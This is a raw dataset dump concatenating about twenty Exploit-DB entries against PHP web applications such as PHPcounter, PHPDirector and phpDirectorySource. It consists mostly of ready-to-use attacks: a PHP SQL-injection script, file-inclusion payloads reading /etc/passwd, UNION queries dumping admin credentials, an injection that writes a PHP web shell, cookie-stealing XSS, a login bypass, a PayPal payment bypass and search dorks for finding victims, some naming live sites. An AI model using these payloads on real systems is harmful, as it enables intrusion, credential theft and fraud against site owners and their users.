deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6553
Description: PHPcounter 1.3.2 - 'defs.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-24
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################################
 #  [ PHPcounter <= 1.3.2 ]   Local File Inclusion Vulnerability   #
 ###################################################################
 #
 # Script: "A multi-account real time web-site counter in PHP/MySQL with lots of different statistics of the visitors."
 #
 # Script site: http://phpcounter.sourceforge.net/
 # Download: http://sourceforge.net/projects/phpcounter/
 #
 # Vuln: 
 # http://site.com/[phpcounter.1.3.2]/defs.php?l=../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./phpcounter.1.3.2/defs.php (line: 49)
 #
 # ...
 # 	@include("langs/$_GET[l].php");
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24]
Exploit-DB #6611
Description: PHPcounter 1.3.2 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-28
Author: StAkeR

Exploit:
#!/usr/bin/php -q
<?php

// PHPcounter <= 1.3.2 Remote SQL Injection Exploit
// Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
// Discovered On: 28/09/2008
// Download: http://sourceforge.net/projects/phpcounter/

error_reporting(0);

$host = $argv[1] or banner();
$path = $argv[2] or banner();
$host = str_replace('http://',NULL,$host);

$isql = "'union select 0,0,0,concat(0x24,database(),0x3a,user(),0x3a,version(),0x24)'/*";
$isql = urlencode($isql);

function banner() {
  echo "[?] Usage: php $argv[0] http://example.com /cms\r\n";
  exit(0);
}

if(!$sock = fsockopen($host,80)) {
  die("Socket Error\r\n");
}

$data .= "GET /$path/index.php?name=$isql HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Connection: close\r\n\r\n";

fputs($sock,$data);

while(!feof($sock)) {
  $content .= fgets($sock);
} fclose($sock); 


if(preg_match('/\$(.+?)\$/',$content,$out)) {
  print "[+] $out[1]\r\n";
}
else {
  echo "[!] Exploit Failed!\n";
}

?>

# milw0rm.com [2008-09-28]
Exploit-DB #30429
Description: phpCoupon - Remote Payment Bypass
Type: webapps
Platform: php
Date: 2007-07-28
Author: freeprotect.net

Exploit:
source: https://www.securityfocus.com/bid/25116/info

phpCoupon is prone to a remote payment-bypass vulnerability because the application fails to properly secure PayPal payment transactions.

Successfully exploiting this issue allows remote attackers to perform payment transactions in the application without actually paying money. This allows them to obtain services for free. 

The following URI demonstrates this issue:

http://www.example.com/path/user.php?REQ=auth&billing=141&status=success&custom=upgrade5

The '141' and the 'upgrade5' values may vary from installation to installation.
Exploit-DB #15447
Description: phpCow 2.1 - File Inclusion
Type: webapps
Platform: php
Date: 2010-11-06
Author: ViRuS_HiMa

Exploit:
[*]##############################################  
[+] |____ViRuS_HiMa@YouR SyS__|__\              #
[+] |______________________|___||\*___          #
[+] |______________________|___||""|"*\___,     #
[+] |______________________|___||""|*"|___||    #
[+] "([ (@)''(@)""""""(|*(@)(@)********(@)*     #
[+]====================================================================||
[*] About    : phpCow v2.1 File Inclusion Vulnerability                ||
[!] Site     : http://www.phpcow.com                                   ||
[!] Author   : ViRuS_HiMa                                              ||
[!] Site     : wWw.HeLL-z0ne.org                                       ||                                             
[!] E-Mail   : eGypT_GoVeRnMenT[at]HoTmaiL[dot]CoM                     ||
[!] TestedOn : Win7                                                    ||
[!]====================================================================||
[!]                  [H]eL[L] [Z]on[E] [C]re[W]                        ||
[!]====================================================================||
[!]                                                                    ||
[!] Vulned :                                                           ||
[!]                                                                    ||
[!]   cowadmin/plugins/templateie/lib/templateie_install.class.php     ||
[!]                                                                    ||
[!]   Notice"cowadmin" = "admin panel path"                            ||
[!]                                                                    ||
[!] in line 14                                                         ||
[!]                                                                    ||
[!] How to use :                                                       ||==========================
[!]                                                                                              ||
[!] http://localhost/cowadmin/plugins/templateie/lib/templateie_install.class.php?skin_file=Hima ||
[!]                                                                                              ||
[!]====================================================================||==========================
[!] Have Fun Sux PPlz :P                                               || 
[!] Greatz : Doksh,RedVirus,Kasper-Ksa,SadHacker,Indushka And Others.  ||                                                                   ||
[*]====================================================================||
Exploit-DB #6806
Description: phpcrs 2.06 - 'importFunction' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-22
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
phpcrs <= 2.06 / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: phpcrs
$ Version: <= 2.06
$ File affected: frame.php
$ Download: http://sourceforge.net/projects/phpcrs/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


--Bug --

151.	elseif( isset( $btnStartImport  ) ) {
152.   		require("../inc/frmDoImport.inc.php");
153. 		require("../inc/". $importFunction .".inc.php");
154.		require("../inc/inc/getFunctions.inc.php");
155.		$importFunction();
156.		frmDoImport( $selectedImport );
157.	}


-- Exploit --

http://site.com/frame.php?btnStartImport=xxx&importFunction=../../../../../etc/passwd%00

NOTE: website only works with Firefox. To navigate you must use Firefox and to exploit 
it, you only have to change the user-agent.

# milw0rm.com [2008-10-22]
Exploit-DB #8441
Description: phpDatingClub - 'conf.inc' File Disclosure
Type: webapps
Platform: php
Date: 2009-04-15
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: phpDatingClub

<<->> download :: http://www.w2b.ru/download/phpDatingClub.zip
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================

<<->> Exploit :: Remote Config File Disclosure
 
                >>> http://www.cyb3r.1st/ [path] /conf/conf.inc

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , all muslims , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ] , hackteach, and all arabic sites

# milw0rm.com [2009-04-15]
Exploit-DB #6037
Description: phpDatingClub 3.7 - 'website.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: S.W.A.T.

Exploit:
#########################################################
#
#     phpDatingClub Local File Include Vulnerability
#========================================================
#                            =
#    Author: Big Ben                                    =
#                                                       =
#========================================================
#
#    script :  http://www.w2b.ru/download/phpDatingClub.zip
#
#    DorK   :   Powered by phpDatingClub
#     
##########################################################
#
# Exploit:
#
# www.[target].com/Script/website.php?page=[LFI]
#
##########################################################

# milw0rm.com [2008-07-10]
Exploit-DB #8990
Description: phpDatingClub 3.7 - SQL Injection / Cross-Site Scripting Injection
Type: webapps
Platform: php
Date: 2009-06-22
Author: ThE g0bL!N

Exploit:
###################################################################
###################################################################
phpDatingClub v 3.7(ansubdepartments_id) SQL/XSS Injection Vulnerability    
Note: Algeria 2-0 Zambia
###################################################################
Founder : ThE g0bL!N
Home:WwW.Snakespc.CoM
More info:http://www.w2b.ru/webapp.php?cat=phpDatingClub
###################################################################
###################################################################
SQL Injection Vulnerability  
###################################################################
Exploit
###################################################################
Http://www.site.com/phpDatingClub/search.php?mode=day&sform%5Bday%5D=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44--
Xss
website.php?page=%3Cscript%3Ealert(0)%3C/script%3E
Demo
----
http://www.w2b.ru/demo/phpDatingClub/
######################################################################
Greeting : Super_Ctistal (My Master)  And all Muslims&algerian Hackers

# milw0rm.com [2009-06-22]
Exploit-DB #17477
Description: phpDealerLocator - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-07-03
Author: Robert Cooper

Exploit:
# Exploit Title: phpDealerLocator - Multiple SQL Injection vulnerabilities
# Date: 7/3/2011
# Author: Robert Cooper (admin[at]websiteauditing.org)
# Software Link: phpdealerlocator.yourphppro.com
# Tested on: [Linux/Windows 7]
#Vulnerable Parameters: 

record.php?Dealer_ID=
record_country.php?Dealer_ID=
results_latlong.php?s_Latitude=
results_latlong.php?s_Longitude=
results_latlong.php?s_Dealer_Radius=
results_phone.php?s_Dealer_Radius=
results_radius.php?s_Dealer_Radius=

##############################################################
PoC:

http://www.example.com/Locator/record.php?Dealer_ID=00000026 union all select 1,2,3,4,5,group_concat(Users_Name,0x3a,Users_Password,0x0a),7,8 FROM users--


##############################################################
www.websiteauditing.org
www.areyousecure.net

# Shouts to the Belegit crew
Exploit-DB #28998
Description: PHPdebug 1.1 - 'Debug_test.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-12
Author: Firewall

Exploit:
source: https://www.securityfocus.com/bid/21047/info

Phpdebug is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/phpdebug_PATH/test/debug_test.php?debugClassLocation=attacker's_script
Exploit-DB #873
Description: phpDEV5 - Remote Default Insecure Users
Type: webapps
Platform: php
Date: 2005-03-11
Author: Ali7

Exploit:
------------------------------------------------------------------------
# PHPDev5 Remote Insecure Default Users & Passwords vuln.
# By : Ali7
# e-mail : ali7@hotmail.co.uk
# date : 09-03-2k5
# greetz : all my friends ; AlkaeN ; s4a.cc boyz ;)
 
 
>Target : PHPDev 5
>URL : www.firepages.com.au - http://sourceforge.net/projects/phpdev5/
>Type : PHP/Apache/MySQL Server..
 
>>Details : i found that PHPDev creates 4 default users with "blank passwords"..
@% : no privs.
@localhost : full privs. & full control on all Databases..
root@% : full privs. & full control on all Databases..
root@localhost : full privs. & full control on all Databases..
 
>>Exploitin'9 : The Attacker may have the the full control on any database using PhpMyAdmin or any other database management software..
 
An Advanced Attacker may use the the privs. to execute malicuos SQL queries or download PHP-shells .....etc.
 
>> Fixing :
** Change the Blank Passwords.. :\
 
That's All ..)) Sorry 4 my bad English $:

# milw0rm.com [2005-03-11]
Exploit-DB #4139
Description: PHPDirector 0.21 - 'videos.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-02
Author: Kw3[R]Ln

Exploit:
PHPDirector <= 0.21 (SQL injection/Upload SHELL) Remote Vulnerabilities

WEB APP: PHPDirector 0.21
SITE: http://www.phpdirector.co.uk/site/
DORK: "Powered by PHP Director"

AUTHOR: Kw3rLn [ teh_lost_byte[at]YaHoO[d0t]Com ]

* Romanian Security Team [Ethical Hacking] - hTTp://RSTZONE.nET

DESCRIPTION: - SQL injection in $id of videos.php
             - admin & password are in config.php :-(
             - Path disclosure
             - It doesn`t deserve to make an sploit

EXPLOIT:

SQL INJECTION: http://www.site.com/videos.php?id=-1%20UNION%20SELECT%20name,news,vids_per_page,version,template,6,7,8,9,10,11,12,13,14,15%20FROM%20pp_config

FIND ADMIN PASS & DB INFO:
1. We must have teh path .. check: http://www.site.com/videos.php?id[]= (path disclosure)
2. http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,load_file('[path_you_just_found]/config.php')%20FROM%20pp_config%20into%20outfile%20'[path_you_just_found]/config.txt'
3. Now check: http://www.site.com/config.txt

UPLOAD SHELL:
1. We must have teh path .. check: http://www.site.com/videos.php?id[]= (path disclosure)
2. http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,'<?php%20system($_GET[cmd]);%20?>',3,4,5,6,7,8,9,10,11,12,13,14,15%20INTO%20OUTFILE%20'[path_founded]/shell.php'%20FROM%20pp_config
3. http://www.site.com/shell.php?cmd=uname -a


GREETZ: all memberz of RST and milw0rm
//kw3rln [http://rstzone.net]

# milw0rm.com [2007-07-02]
Exploit-DB #14106
Description: PHPDirector 0.30 - 'videos.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-29
Author: Mr-AbdoX

Exploit:
======================================================================
PHPDirector 0.30 (videos.php) SQL Injection Vulnerability #
======================================================================
# Date : 29/06/2010 #
# Author : Mr-AbdoX #
# Emails : Y6u@HoTmaiL.Com & Oz1@HoTmaiL.Com #
# My web Sites : http://Sec-Eviles.com/vb & http://Arspam.com/ #
# Script home : www.phpdirector.co.uk/ #
# Tested on : Linux & Windows #
=================Exploit============================================

Dork: [Powered by: PHPDirector 0.30] 0r [ inurl:videos.php?id= ]

[~] ExploiT [~]

http://www.site.com/videos.php?id=[SQL]

union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--


[~] ConTroL Panel (admin login) [~]

http://www.site.com/login.php


[~] demo [~]


http://server/path/videos.php?id=-56+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--

http://server/videos.php?id=-56+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--

enjoy in control panel Like U WanT :p


Don't Forget greetz Me...

Peace


[~] GreetZ To [~]

The Invisible , Dr.Html , Mehdiz , Mr-Yasen , The S3r!0uS , Dr.Solo , ProF.Sellim & All Morrocans H4xorz
Exploit-DB #16047
Description: PHPDirector Game Edition - 'game.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-26
Author: AtT4CKxT3rR0r1ST

Exploit:
PHPDirector Game Edition (game.php) Sql Injection Vulnerability
================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://scriptsgratuits.info/Scripts/PHP/Jeux/PHPDirector-Game-Edition_7.html
.:. Dork           : "Powered by PHPD Game Edition"
.:. Home           : www.Hack-Book.com
.:. Gr34T$ T0 [h1ch4m] & [Risky] & [ZaIdOoHxHaCkEr] & [The Sword]

####################################################################

===[ Exploit ]===

www.site.com/games.php?id=null[Sql Injection]

www.site.com/games.php?id=null+and+1=2+union+select+1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+pp_user

===[ Admin Panel ]===

www.site.com/admin/login.php


####################################################################
Exploit-DB #9226
Description: phpDirectorySource 1.0 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-07-21
Author: Moudi

Exploit:
==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Web Business Directory 1.0 (search.php) Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ Web Business Directory 1.0 ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.phpdirectorysource.com/  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ Copyright 2005-2006 phpDirectorySourceâ„¢, all rights reserved ]
        [Â»] Price:              [ $75.00   ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit SQL INJECTION + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/search.php?sa=site&sk=a&nl=11&st=

[Â»] http://www.phpdirectorysource.com/directory/search.php?sa=site&sk=a&nl=11&st=XX' union select version()/*
[Â»] http://ilovealbertaoil.com/search.php?sa=site&sk=a&nl=11&st=XX' union select version()/*

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/search.php?sa=site&sk=a&nl=11&st=

[Â»] http://www.phpdirectorysource.com/directory/search.php?sa=site&sk=a&nl=11&st="><script>alert(document.cookie);</script>
[Â»] http://ilovealbertaoil.com/search.php?sa=site&sk=a&nl=11&st="><script>alert(document.cookie);</script>


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-21]
Exploit-DB #5537
Description: phpDirectorySource 1.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-03
Author: InjEctOr5

Exploit:
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title ::  SQL Injection and Bypass Administrator Login


Author :: InjEctOr     [s0f (at) w.cn]

&& FishEr762   [sq7 (at) w.cn]


Application :: phpDirectorySource 1.1

Download :: http://www.phpdirectorysource.com/files/pds_ver1_1.zip

Dork 1 :: use your mind :p


Greets :: Allah , TrYaG TeaM & Muslims Hackers 

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.



--------------------------------------------[C o n t e x t]-----------------------------------------


Expl0!te ::

http://127.0.0.1/[script]/show.php?lid=1'+and+1=0+UNION+SELECT+1,2,3,4,login,pass,7,8,9,10,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+FROM+pds_admin/*


i.e.
http://directory.xxx.com/show.php?lid=104'+and+1=0+UNION+SELECT+1,2,3,4,login,pass,7,8,9,10,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+FROM+pds_admin/*

note: 
used "and 1=0" koz lid is varchar so it's better way to make next query run

--------------

Bypass Administrator Login :
/directory/admin.php

username field
' or 1=1 /*

i.e. in demo site (demos always get the 1st shot lol)
http://www.phpdirectorysource.com/directory/admin.php


-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-03]
Exploit-DB #4543
Description: PHPDJ 0.5 - 'djpage.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-17
Author: GoLd_M

Exploit:
################################################################
PHPDJ v05 (page) Remote File Inclusion Vulnerability
D.S: http://sourceforge.net/projects/phpdj/
D0RK : allintext:"PHPDJ was created by www.php-mania.co.uk"
POC :
       /PHPDJ_v05/dj/djpage.php?page=evil-script.txt?
################################################################
Thanx To : Tryag.Com/cc & Asb-May.net/bb
################################################################

# milw0rm.com [2007-10-17]